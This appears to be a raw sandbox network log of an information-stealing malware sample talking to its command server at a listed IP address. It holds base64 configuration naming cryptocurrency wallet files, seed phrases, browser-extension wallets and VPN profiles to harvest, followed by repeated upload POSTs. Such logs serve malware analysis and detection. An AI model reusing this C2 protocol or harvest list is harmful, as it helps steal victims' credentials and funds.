Apr 25, 2024 21:48:04.486524105 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 25, 2024 21:48:04.490319967 CEST	466	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.172.128.76 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="message"files------GDHDHJEBGHJKFIECBGCB--
Apr 25, 2024 21:48:04.812030077 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 25, 2024 21:48:05.246905088 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJ Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:05.594890118 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:07.344414949 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:07.688276052 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:07.696027994 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:08.041038036 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:08.048343897 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:08.395490885 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:08.408555984 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:08.755479097 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:08.760256052 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:09.099035025 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:09.107465029 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:09.445370913 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:09.450222015 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:09.789273024 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:09.794542074 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAA Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:10.147078991 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:10.158188105 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:10.501473904 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:10.513195038 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAEC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:10.856039047 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:10.862926006 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:11.202724934 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:11.208522081 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:11.553018093 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:11.558343887 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:11.901468039 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:11.906351089 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:12.251157999 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:12.256576061 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:12.591479063 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:12.637974977 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:12.985506058 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:12.990716934 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:13.332916021 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:13.343991995 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:13.683957100 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:13.690362930 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:14.042269945 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:14.049510956 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:14.392426014 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:14.398240089 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:14.742707014 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:14.749849081 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:15.090174913 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:15.102798939 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:15.460973978 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:15.468007088 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:15.810863018 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:15.817133904 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
